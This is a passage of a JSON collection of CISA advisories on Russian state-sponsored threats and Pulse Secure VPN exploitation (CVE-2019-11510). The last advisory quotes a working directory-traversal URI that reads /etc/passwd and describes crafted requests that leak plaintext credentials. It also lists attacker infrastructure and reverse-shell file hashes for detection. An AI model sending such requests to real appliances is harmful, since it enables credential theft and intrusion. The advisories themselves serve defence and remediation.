for common mistakes in incident handling. CISA, the FBI, and NSA encourage critical infrastructure owners and operators to see CISA\u2019s [Federal Government Cybersecurity Incident and Vulnerability Response Playbooks](<https://cisa.gov/sites/default/files/publications/Federal_Government_Cybersecurity_Incident_and_Vulnerability_Response_Playbooks_508C.pdf>). Although tailored to federal civilian branch agencies, these playbooks provide operational procedures for planning and conducting cybersecurity incident and vulnerability response activities and detail each step for both incident and vulnerability response. \n\n**Note: **organizations should document incident response procedures in a cyber incident response plan, which organizations should create and exercise (as noted in the Mitigations section). \n\n### Mitigations\n\nCISA, the FBI, and NSA encourage all organizations to implement the following recommendations to increase their cyber resilience against this threat.\n\n### Be Prepared\n\n#### _Confirm Reporting Processes and Minimize Coverage Gaps_\n\n * Develop internal contact lists. Assign main points of contact for a suspected incident as well as roles and responsibilities and ensure personnel know how and when to report an incident.\n * Minimize gaps in IT/OT security personnel availability by identifying surge support for responding to an incident. Malicious cyber actors are [known to target organizations on weekends and holidays](<https://us-cert.cisa.gov/ncas/alerts/aa21-243a>) when there are gaps in organizational cybersecurity\u2014critical infrastructure organizations should proactively protect themselves by minimizing gaps in coverage.\n * Ensure IT/OT security personnel monitor key internal security capabilities and can identify anomalous behavior. Flag any identified IOCs and TTPs for immediate response. (See table 1 for commonly observed TTPs).\n\n#### _Create, Maintain, and Exercise a Cyber Incident Response, Resilience Plan, and Continuity of Operations Plan_\n\n * Create, maintain, and exercise a cyber incident response and continuity of operations plan.\n * Ensure personnel are familiar with the key steps they need to take during an incident and are positioned to act in a calm and unified manner. Key questions: \n * Do personnel have the access they need?\n * Do they know the processes?\n * For OT assets/networks, \n * Identify a resilience plan that addresses how to operate if you lose access to\u2014or control of\u2014the IT and/or OT environment. \n * Identify OT and IT network interdependencies and develop workarounds or manual controls to ensure ICS networks can be isolated if the connections create risk to the safe and reliable operation of OT processes. Regularly test contingency plans, such as manual controls, so that safety critical functions can be maintained during a cyber incident. Ensure that the OT network can operate at necessary capacity even if the IT network is compromised.\n * Regularly test manual controls so that critical functions can be kept running if ICS or OT networks need to be taken offline.\n * Implement data backup procedures on both the IT and OT networks. Backup procedures should be conducted on a frequent, regular basis. Regularly test backup procedures and ensure that backups are isolated from network connections that could enable the spread of malware.\n * In addition to backing up data, develop recovery documents that include configuration settings for common devices and critical OT equipment. This can enable more efficient recovery following an incident.\n\n### Enhance your Organization\u2019s Cyber Posture\n\nCISA, the FBI, and NSA recommend organizations apply the best practices below for identity and access management, protective controls and architecture, and vulnerability and configuration management.\n\n#### _Identity and Access Management_\n\n * Require multi-factor authentication for all users, without exception.\n * Require accounts to have strong passwords and do not allow passwords to be used across multiple accounts or stored on a system to which an adversary may have access.\n * Secure credentials. Russian state-sponsored APT actors have demonstrated their ability to maintain persistence using compromised credentials. \n * Use virtualizing solutions on modern hardware and software to ensure credentials are securely stored.\n * Disable the storage of clear text passwords in LSASS memory.\n * Consider disabling or limiting New Technology Local Area Network Manager (NTLM) and WDigest Authentication.\n * Implement Credential Guard for Windows 10 and Server 2016 (Refer to [Microsoft: Manage Windows Defender Credential Guard](<https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage>) for more information). For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA).\n * Minimize the Active Directory attack surface to reduce malicious ticket-granting activity. Malicious activity such as \u201cKerberoasting\u201d takes advantage of Kerberos\u2019 TGS and can be used to obtain hashed credentials that attackers attempt to crack.\n * Set a [strong](<https://www.us-cert.cisa.gov/ncas/tips/ST04-002>) password policy for service accounts.\n * Audit Domain Controllers to log successful Kerberos TGS requests and ensure the events are monitored for anomalous activity. \n * Secure accounts.\n * Enforce the principle of least privilege. Administrator accounts should have the minimum permission they need to do their tasks.\n * Ensure there are unique and distinct administrative accounts for each set of administrative tasks.\n * Create non-privileged accounts for privileged users and ensure they use the non- privileged accounts for all non-privileged access (e.g., web browsing, email access).\n\n#### _Protective Controls and Architecture_\n\n * Identify, detect, and investigate abnormal activity that may indicate lateral movement by a threat actor or malware. Use network monitoring tools and host-based logs and monitoring tools, such as an endpoint detection and response (EDR) tool. EDR tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.\n * Enable strong spam filters. \n * Enable strong spam filters to prevent phishing emails from reaching end users.\n * Filter emails containing executable files to prevent them from reaching end users.\n * Implement a user training program to discourage users from visiting malicious websites or opening malicious attachments.\n\n**Note:** CISA, the FBI, and NSA also recommend, as a longer-term effort, that critical infrastructure organizations implement network segmentation to separate network segments based on role and functionality. Network segmentation can help prevent lateral movement by controlling traffic flows between\u2014and access to\u2014various subnetworks.\n\n * Appropriately implement network segmentation between IT and OT networks. Network segmentation limits the ability of adversaries to pivot to the OT network even if the IT network is compromised. Define a demilitarized zone that eliminates unregulated communication between the IT and OT networks.\n * Organize OT assets into logical zones by taking into account criticality, consequence, and operational necessity. Define acceptable communication conduits between the zones and deploy security controls to filter network traffic and monitor communications between zones. Prohibit ICS protocols from traversing the IT network.\n\n#### _Vulnerability and Configuration Management_\n\n * Update software, including operating systems, applications, and firmware on IT network assets, in a timely manner. Prioritize patching [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>), especially those CVEs identified in this CSA, and then critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment. \n * Consider using a centralized patch management system. For OT networks, use a risk-based assessment strategy to determine the OT network assets and zones that should participate in the patch management program. \n * Consider signing up for CISA\u2019s [cyber hygiene services](<https://www.cisa.gov/cyber-hygiene-services>), including vulnerability scanning, to help reduce exposure to threats. CISA\u2019s vulnerability scanning service evaluates external network presence by executing continuous scans of public, static IP addresses for accessible services and vulnerabilities.\n * Use industry recommended antivirus programs. \n * Set antivirus/antimalware programs to conduct regular scans of IT network assets using up-to-date signatures.\n * Use a risk-based asset inventory strategy to determine how OT network assets are identified and evaluated for the presence of malware.\n * Implement rigorous configuration management programs. Ensure the programs can track and mitigate emerging threats. Review system configurations for misconfigurations and security weaknesses.\n * Disable all unnecessary ports and protocols \n * Review network security device logs and determine whether to shut off unnecessary ports and protocols. Monitor common ports and protocols for command and control activity.\n * Turn off or disable any unnecessary services (e.g., PowerShell) or functionality within devices.\n * Ensure OT hardware is in read-only mode.\n\n### Increase Organizational Vigilance\n\n * Regularly review reporting on this threat. Consider signing up for CISA notifications to receive timely information on current security issues, vulnerabilities, and high-impact activity.\n\n### Resources\n\n * For more information on Russian state-sponsored malicious cyber activity, refer to [cisa.gov/Russia.](<https://www.us-cert.cisa.gov/russia>)\n * Refer to CISA Analysis Report [Strengthening Security Configurations to Defend Against Attackers Targeting Cloud Services](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-013a>) for steps for guidance on strengthening your organizations cloud security practices.\n * Leaders of small businesses and small and local government agencies should see [CISA\u2019s Cyber Essentials](<https://www.cisa.gov/cyber-essentials>) for guidance on developing an actionable understanding of implementing organizational cybersecurity practices.\n * Critical infrastructure owners and operators with OT/ICS networks, should review the following resources for additional information: \n * NSA and CISA joint CSA NSA and CISA Recommend Immediate Actions to Reduce Exposure Across Operational Technologies and Control Systems\n * CISA factsheet Rising Ransomware Threat to Operational Technology Assets for additional recommendations.\n\n### Rewards for Justice Program\n\nIf you have information on state-sponsored Russian cyber operations targeting U.S. critical infrastructure, contact the Department of State\u2019s Rewards for Justice Program. You may be eligible for a reward of up to $10 million, which DOS is offering for information leading to the identification or location of any person who, while acting under the direction or control of a foreign government, participates in malicious cyber activity against U.S. critical infrastructure in violation of the Computer Fraud and Abuse Act (CFAA). Contact +1-202-702-7843 on WhatsApp, Signal, or Telegram, or send information via the Rewards for Justice secure Tor-based tips line located on the Dark Web. For more details refer to [rewardsforjustice.net/malicious_cyber_activity.](<https://www.rewardsforjustice.net/malicious_cyber_activity.html>)\n\n### Caveats\n\nThe information you have accessed or received is being provided \u201cas is\u201d for informational purposes only. CISA, the FBI, and NSA do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA, the FBI, or NSA.\n\n### References\n\n[[1] Joint NCSC-CISA UK Advisory: Further TTPs Associated with SVR Cyber Actors](<https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors>)\n\n### Revisions\n\nJanuary 11, 2022: Initial Version|January 25, 2022: Updated broken link|February 28, 2022: Updated broken link\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-01T12:00:00", "type": "ics", "title": "Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-10149", "CVE-2019-11510", "CVE-2019-1653", "CVE-2019-19781", "CVE-2019-2725", "CVE-2019-7609", "CVE-2019-9670", "CVE-2020-0688", "CVE-2020-1472", "CVE-2020-14882", "CVE-2020-4006", "CVE-2020-5902", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2022-03-01T12:00:00", "id": "AA22-011A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-011a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:37:13", "description": "### Summary\n\nUnpatched Pulse Secure VPN servers continue to be an attractive target for malicious actors. Affected organizations that have not applied the software patch to fix an arbitrary file reading vulnerability, known as CVE-2019-11510, can become compromised in an attack. [[1]](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n\nAlthough Pulse Secure [[2]](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>) disclosed the vulnerability and provided software patches for the various affected products in April 2019, the Cybersecurity and Infrastructure Security Agency (CISA) continues to observe wide exploitation of CVE-2019-11510. [[3]](<https://www.kb.cert.org/vuls/id/927237/ >) [[4]](<https://www.us-cert.gov/ncas/current-activity/2019/07/26/vulnerabilities-multiple-vpn-applications >) [[5]](<https://www.us-cert.gov/ncas/current-activity/2019/10/16/multiple-vulnerabilities-pulse-secure-vpn>)\n\nCISA expects to see continued attacks exploiting unpatched Pulse Secure VPN environments and strongly urges users and administrators to upgrade to the corresponding fixes. [[6]](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>)\n\n## Timelines of Specific Events\n\n * April 24, 2019 \u2013 Pulse Secure releases initial advisory and software updates addressing multiple vulnerabilities.\n * May 28, 2019 \u2013 Large commercial vendors get reports of vulnerable VPN through HackerOne.\n * July 31, 2019 \u2013 Full use of exploit demonstrated using the admin session hash to get complete shell.\n * August 8, 2019 \u2013 Meh Chang and Orange Tsai demonstrate the VPN issues across multiple vendors (Pulse Secure) with detailed attack on active VPN exploitation.\n * August 24, 2019 \u2013 Bad Packets identifies over 14,500 vulnerable VPN servers globally still unpatched and in need of an upgrade.\n * October 7, 2019 \u2013 The National Security Agency (NSA) produces a Cybersecurity Advisory on Pulse Secure and other VPN products being targeted actively by advanced persistent threat actors.\n * October 16, 2019 \u2013 The CERT Coordination Center (CERT/CC) releases Vulnerability Note VU#927237: Pulse Secure VPN contains multiple vulnerabilities.\n * January 2020 \u2013 Media reports cybercriminals now targeting unpatched Pulse Secure VPN servers to install REvil (Sodinokibi) ransomware. \n\n### Technical Details\n\n## Impact\n\nA remote, unauthenticated attacker may be able to compromise a vulnerable VPN server. The attacker may be able to gain access to all active users and their plain-text credentials. It may also be possible for the attacker to execute arbitrary commands on each VPN client as it successfully connects to the VPN server.\n\nAffected versions:\n\n * Pulse Connect Secure 9.0R1 - 9.0R3.3\n * Pulse Connect Secure 8.3R1 - 8.3R7\n * Pulse Connect Secure 8.2R1 - 8.2R12\n * Pulse Connect Secure 8.1R1 - 8.1R15\n * Pulse Policy Secure 9.0R1 - 9.0R3.1\n * Pulse Policy Secure 5.4R1 - 5.4R7\n * Pulse Policy Secure 5.3R1 - 5.3R12\n * Pulse Policy Secure 5.2R1 - 5.2R12\n * Pulse Policy Secure 5.1R1 - 5.1R15\n\n### Mitigations\n\nThis vulnerability has no viable workarounds except for applying the patches provided by the vendor and performing required system updates.\n\nCISA strongly urges users and administrators to upgrade to the corresponding fixes. [[7]](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>)\n\n### References\n\n[[1] NIST NVD CVE-2019-11510 ](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n\n[[2] Pulse Secure Advisory SA44101](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>)\n\n[[3] CERT/CC Vulnerability Note VU#927237](<https://www.kb.cert.org/vuls/id/927237/>)\n\n[[4] CISA Current Activity Vulnerabilities in Multiple VPN Applications ](<https://www.us-cert.gov/ncas/current-activity/2019/07/26/vulnerabilities-multiple-vpn-applications>)\n\n[[5] CISA Current Activity Multiple Vulnerabilities in Pulse Secure VPN](<https://www.us-cert.gov/ncas/current-activity/2019/10/16/multiple-vulnerabilities-pulse-secure-vpn>)\n\n[[6] Pulse Secure Advisory SA44101](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>)\n\n[[7] Pulse Secure Advisory SA44101](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>)\n\n### Revisions\n\nJanuary 10, 2020: Initial Version|April 15, 2020: Revised to correct type of vulnerability\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-04-15T12:00:00", "type": "ics", "title": "Continued Exploitation of Pulse Secure VPN Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2020-04-15T12:00:00", "id": "AA20-010A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-010a", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-14T18:35:59", "description": "### Summary\n\n_**Note: ** This Activity Alert uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK\u00ae) framework. See the [ATT&CK for Enterprise](<https://attack.mitre.org/versions/v7/matrices/enterprise/>) framework for all referenced threat actor techniques and mitigations._\n\nThis Alert provides an update to Cybersecurity and Infrastructure Security Agency (CISA) [Alert AA20-010A: Continued Exploitation of Pulse Secure VPN Vulnerability](<https://www.us-cert.gov/ncas/alerts/aa20-010a>), which advised organizations to immediately patch CVE-2019-11510\u2014an arbitrary file reading vulnerability affecting Pulse Secure virtual private network (VPN) appliances.[[1]](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>) CISA is providing this update to alert administrators that threat actors who successfully exploited CVE-2019-11510 and stole a victim organization\u2019s credentials will still be able to access\u2014and move laterally through\u2014that organization\u2019s network after the organization has patched this vulnerability if the organization did not change those stolen credentials.\n\nThis Alert provides new detection methods for this activity, including a [CISA-developed tool](<https://github.com/cisagov/check-your-pulse>) that helps network administrators search for indicators of compromise (IOCs) associated with exploitation of CVE-2019-11510. This Alert also provides mitigations for victim organizations to recover from attacks resulting from CVE-2019-11510. CISA encourages network administrators to remain aware of the ramifications of exploitation of CVE-2019-11510 and to apply the detection measures and mitigations provided in this report to secure networks against these attacks.\n\nFor a downloadable copy of IOCs, see STIX file.\n\n## Background\n\nCISA has conducted multiple incident response engagements at U.S. Government and commercial entities where malicious cyber threat actors have exploited CVE-2019-11510\u2014an arbitrary file reading vulnerability affecting Pulse Secure VPN appliances\u2014to gain access to victim networks. Although Pulse Secure released patches for CVE-2019-11510 in April 2019,[[2]](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>) CISA has observed incidents where compromised Active Directory credentials were used months after the victim organization patched their VPN appliance.\n\n### Technical Details\n\nCISA determined that cyber threat actors have been able to obtain plaintext Active Directory credentials after gaining _Initial Access_ [[TA0001]](<https://attack.mitre.org/versions/v7/tactics/TA0001/>) to a victim organization\u2019s network via VPN appliances. Cyber threat actors used these _Valid Accounts_ [[T1078]](<https://attack.mitre.org/versions/v7/techniques/T1078/>) in conjunction with:\n\n * _External Remote Services_ [[T1133]](<https://attack.mitre.org/versions/v7/techniques/T1133>) for access,\n * _Remote Services_ [[T1021]](<https://attack.mitre.org/versions/v7/techniques/T1021>) for _Lateral Movement _[[TA0008]](<https://attack.mitre.org/versions/v7/tactics/TA0008/>) to move quickly throughout victim network environments, and\n * _Data Encrypted for Impact_ [[T1486 ]](<https://attack.mitre.org/versions/v7/techniques/T1486>) for impact, as well as\n * _Exfiltration _[[TA0010]](<https://attack.mitre.org/versions/v7/tactics/TA0010/>) and sale of the data.\n\n### Initial Access\n\nCVE-2019-11510 is a pre-authentication arbitrary file read vulnerability affecting Pulse Secure VPN appliances. A remote attacker can exploit this vulnerability to request arbitrary files from a VPN server. The vulnerability occurs because directory traversal is hard coded to be allowed if the path contains `dana/html5/acc`.[[3]](<https://twitter.com/XMPPwocky/status/1164874297690611713/photo/1>),[[4]](<https://opensecurity.global/forums/topic/184-pulse-secure-ssl-vpn-vulnerability-being-exploited-in-wild/?do=findComment&comment=848>) For example, a malicious cyber actor can obtain the contents of `/etc/passwd` [[5]](<https://github.com/BishopFox/pwn-pulse/blob/master/pwn-pulse.sh>) by requesting the following uniform resource identifier (URI):\n\n`https://vulnvpn.example[.]com/dana-na/../dana/html5/acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/`\n\nObtaining the contents of `/etc/passwd` gives the attacker access to basic information about local system accounts. This request was seen in the proof of concept (POC) code for this exploit on [Github](<https://github.com/BishopFox/pwn-pulse/blob/master/pwn-pulse.sh>). An attacker can also leverage the vulnerability to access other files that are useful for remote exploitation. By requesting the data.mdb object, an attacker can leak plaintext credentials of enterprise users.[[6]](<https://www.exploit-db.com/exploits/47297>),[[7]](<https://twitter.com/alyssa_herrera_/status/1164089995193225216?s=11>),[[8]](<https://opensecurity.global/forums/topic/184-pulse-secure-ssl-vpn-vulnerability-being-exploited-in-wild/?do=findComment&comment=848>)\n\nOpen-source reporting indicates that cyber threat actors can exploit CVE-2019-11510 to retrieve encrypted passwords;[[9]](<https://opensecurity.global/forums/topic/184-pulse-secure-ssl-vpn-vulnerability-being-exploited-in-wild/?tab=comments#comment-887>) however, CISA has not observed this behavior. By reviewing victim VPN appliance logs, CISA has noted cyber threat actors crafting requests that request files that allow for _Credential Dumping_ [[T1003]](<https://attack.mitre.org/versions/v7/techniques/T1003>) plaintext passwords from the VPN appliance.\n\n### Test Environment\n\nTo confirm the open-source reporting and validate what the cyber threat actors had access to, CISA used a test environment to send crafted requests. CISA used requests found both in proof-of-concept, open-source code and in requests from the logs of compromised victims. By doing so, CISA confirmed that plaintext Active Directory credentials were leaked and that it was possible to leak the local admin password to the VPN appliance. (See figure 1.)\n\n\n\n##### Figure 1: Exploitation of the VPN appliance leading to plaintext local admin credentials\n\nCISA\u2019s test environment consisted of a domain controller (DC) running Windows Server 2016, an attacker machine, and a Pulse Secure VPN appliance version 9.0R3 (build 64003). CISA connected the attacker machine to the external interface of the Pulse Secure VPN appliance and the DC to the internal interface.\n\nCISA created three accounts for the purpose of validating the ability to compromise them by exploiting CVE-2019-11510.\n\n * Local Pulse Secure Admin account \n * Username: `admin`; Password: `pulse-local-password`\n * Domain Administrator Account \n * Username: `Administrator`; Password: `domain-admin-password1`\n * CISA-test-user Account \n * Username: `cisa-test-user`; Password: `Use_s3cure_passwords`\n\nAfter creating the accounts, CISA joined the VPN appliance to the test environment domain, making a point not to cache the domain administrator password. (See figure 2.)\n\n\n\n##### Figure 2: VPN appliance joined to the domain without caching the domain administrator password\n\nCISA used a similar file inclusion to test the ability to _Credential Dump _[[T1003]](<https://attack.mitre.org/versions/v7/techniques/T1003>) the domain administrator password. CISA determined it was possible to leak the domain administrator password that was used to join the device to the domain without saving the credentials. Refer to figure 3 for the URI string tested by CISA.\n\n\n\n##### Figure 3: Exploitation of the VPN appliance leading to cleartext domain admin credentials\n\nNext, CISA validated the ability to _Credential Dump _[[T1003]](<https://attack.mitre.org/versions/v7/techniques/T1003>) a user password from the VPN appliance. To do this, CISA created a _user realm _(Pulse Secure configuration terminology) and configured its roles/resource groups to allow for Remote Desktop Protocol (RDP) over HTML5 (Apache Guacamole). After using the new user to remotely access an internal workstation over RDP, CISA used a crafted request (see figure 4) to leak the credentials from the device. (**Note:** the path to stored credentials is publicly available.)[[10]](<https://twitter.com/alyssa_herrera_/status/1164089995193225216?s=11>)\n\n\n\n##### Figure 4: Exploitation of the VPN appliance leading to plaintext user credentials\n\nThis test confirmed CISA\u2019s suspicion that threat actors had access to each of the various compromised environments.\n\n### Cyber Threat Actor Behavior in Victim Network Environments\n\nCISA observed\u2014once credentials were compromised\u2014cyber threat actors accessing victim network environments via the Pulse Secure VPN appliances. Cyber threat actors used _Connection Proxies _[[T1090 ]](<https://attack.mitre.org/versions/v7/techniques/T1090>)\u2014such as Tor infrastructure and virtual private servers (VPSs)\u2014to minimize the chance of detection when they connected to victim VPN appliances.\n\nUsing traditional host-based analysis, CISA identified the following malicious cyber actor actions occurring in a victim\u2019s environment:\n\n * Creating persistence via scheduled tasks/remote access trojans\n * Amassing files for exfiltration\n * Executing ransomware on the victim\u2019s network environment\n\nBy correlating these actions with the connection times and user accounts recorded in the victim\u2019s Pulse Secure `.access` logs, CISA was able to identify unauthorized threat actor connections to the victim\u2019s network environment. CISA was then able to use these Internet Protocol (IP) addresses and user-agents to identify unauthorized connections to the network environments of other victims. Refer to the Indicators of Compromise section for the IP addresses CISA observed making these unauthorized connections.\n\nIn one case, CISA observed a cyber threat actor attempting to sell the stolen credentials after 30 unsuccessful attempts to connect to the customer environment to escalate privileges and drop ransomware. CISA has also observed this threat actor successfully dropping ransomware at hospitals and U.S. Government entities.\n\nIn other cases, CISA observed threat actors leveraging tools, such as LogMeIn and TeamViewer, for persistence. These tools would enable threat actors to maintain access to the victim\u2019s network environment if they lost their primary connection.\n\n### Initial Detection\n\nConventional antivirus and endpoint detection and response solutions did not detect this type of activity because the threat actors used legitimate credentials and remote services. \n\nAn intrusion detection system may have noticed the exploitation of CVE-2019-11510 if the sensor had visibility to the external interface of the VPN appliance (possible in a customer\u2019s demilitarized zone) and if appropriate rules were in place. Heuristics in centralized logging may have been able to detect logins from suspicious or foreign IPs, if configured.\n\n### Post-Compromise Detection and IOC Detection Tool\n\nGiven that organizations that have applied patches for CVE-2019-11510 may still be at risk for exploitation from compromises that occurred pre-patch, CISA developed detection methods for organizations to determine if their patched VPN appliances have been targeted by the activity revealed in this report.\n\nTo detect past exploitation of CVE-2019-11510, network administrators should:\n\n 1. Turn on unauthenticated log requests (see figure 5). (**Note:** there is a risk of overwriting logs with unauthenticated requests so, if enabling this feature, be sure to frequently back up logs; if possible, use a remote syslog server.) \n\n\n\n##### Figure 5: Checkbox that enables logging exploit attacks\n\n 2. Check logs for exploit attempts. To detect lateral movement, system administrators should look in the logs for strings such as` ../../../data `(see figure 6). \n\n\n\n##### Figure 6: Strings for detection of lateral movement\n\n 3. Manually review logs for unauthorized sessions and exploit attempts, especially sessions originating from unexpected geo-locations.\n 4. Run CISA\u2019s IOC detection tool. CISA developed a tool that enables administrators to triage logs (if authenticated request logging is turned on) and automatically search for IOCs associated with exploitation of CVE-2019-11510. CISA encourages administrators to visit [CISA\u2019s GitHub page](<https://github.com/cisagov/check-your-pulse>) to download and run the tool. While not exhaustive, this tool may find evidence of attempted compromise.\n\n### Indicators of Compromise\n\nCISA observed IP addresses making unauthorized connections to customer infrastructure. (**Note:** these IPs were observed as recently as February 15, 2020.) The IP addresses seen making unauthorized connections to customer infrastructure were different than IP addresses observed during initial exploitation. Please see the STIX file below for IPs.\n\nCISA observed the following user agents with this activity:\n\n * Mozilla/5.0 (Windows NT 6.1; rv:60.0) Gecko/20100101 Firefox/60.0\n * Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0\n * Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55[.]0.2883.87 Safari/537.36\n\nCISA also observed:\n\n * A cyber threat actor renaming portable executable (PE) files in an attempt to subvert application allow listing or antivirus (AV) protections. See table 1 for hashes of files used.\n * A threat actor \u201cliving off the land\u201d and utilizing C:\\Python\\ArcGIS to house malicious PE files, as well as using natively installed Python.\n * A threat actor attack infrastructure: 38.68.36(dot)112 port 9090 and 8088\n\n##### Table 1: Filenames and hashes of files used by a threat actor\n\nFilename | MD5 \n---|--- \nt.py (tied to scheduled task, python meterpreter reverse shell port 9090) | 5669b1fa6bd8082ffe306aa6e597d7f5 \ng.py (tied to scheduled task, python meterpreter reverse shell port 8088) | 61eebf58e892038db22a4d7c2ee65579 \n \nFor a downloadable copy of IOCs, see STIX file.\n\n### Mitigations\n\nCISA strongly urges organizations that have not yet done so to upgrade their Pulse Secure VPN to the corresponding patches for CVE-2019-11510. If\u2014after applying the detection measures in this alert\u2014organizations detect evidence of CVE-2019-11510 exploitation, CISA recommends changing passwords for all Active Directory accounts, including administrators and services accounts.\n\nCISA also recommends organizations to:\n\n * Look for unauthorized applications and scheduled tasks in their environment.\n * Remove any remote access programs not approved by the organization.\n * Remove any remote access trojans.\n * Carefully inspect scheduled tasks for scripts or executables that may allow an attacker to connect to an environment.\n\nIf organizations find evidence of malicious, suspicious, or anomalous activity or files, they should consider reimaging the workstation or server and redeploying back into the environment. CISA recommends performing checks to ensure the infection is gone even if the workstation or host has been reimaged.\n\n### Contact Information\n\nRecipients of this report are encouraged to contribute any additional information that they may have related to this threat. For any questions related to this report, please contact CISA at\n\n * Phone: (888) 282-0870\n * Email: [CISAServiceDesk@cisa.dhs.gov](<mailto:CISAServiceDesk@cisa.dhs.gov>)\n\n### References\n\n[[1] Pulse Secure Advisory SA44101 ](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>)\n\n[[2] Pulse Secure Advisory SA44101](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>)\n\n[[3] Twitter. @XMPPwocky. (2019, August 23). Your least favorite construct ](<https://twitter.com/XMPPwocky/status/1164874297690611713/photo/1>)\n\n[[4] OpenSecurity Forums. Public vulnerability discussion. (2019, August 23). ](<https://opensecurity.global/forums/topic/184-pulse-secure-ssl-vpn-vulnerability-being-exploited-in-wild/?do=findComment&comment=848>)\n\n[[5] GitHub. BishopFox / pwn-pulse. ](<https://github.com/BishopFox/pwn-pulse/blob/master/pwn-pulse.sh>)\n\n[[6] File disclosure in Pulse Secure SSL VPN (Metasploit) ](<https://www.exploit-db.com/exploits/47297>)\n\n[[7] Twitter. @alyssa_herra ](<https://twitter.com/alyssa_herrera_/status/1164089995193225216?s=11>)\n\n[[8] OpenSecurity Forums. Public vulnerability discussion. (2019, August 23). ](<https://opensecurity.global/forums/topic/184-pulse-secure-ssl-vpn-vulnerability-being-exploited-in-wild/?do=findComment&comment=848>)\n\n[[9] OpenSecurity Forums. Public vulnerability discussion. (2019, August 31). ](<https://opensecurity.global/forums/topic/184-pulse-secure-ssl-vpn-vulnerability-being-exploited-in-wild/?tab=comments#comment-887>)\n\n[[10] Twitter. @alyssa_herra](<https://twitter.com/alyssa_herrera_/status/1164089995193225216?s=11>)\n\n### Revisions\n\nApril 16, 2020: Initial Version|October 23, 2020\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-10-24T12:00:00", "type": "ics", "title": "Continued Threat Actor Exploitation Post Pulse Secure VPN Patching", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, 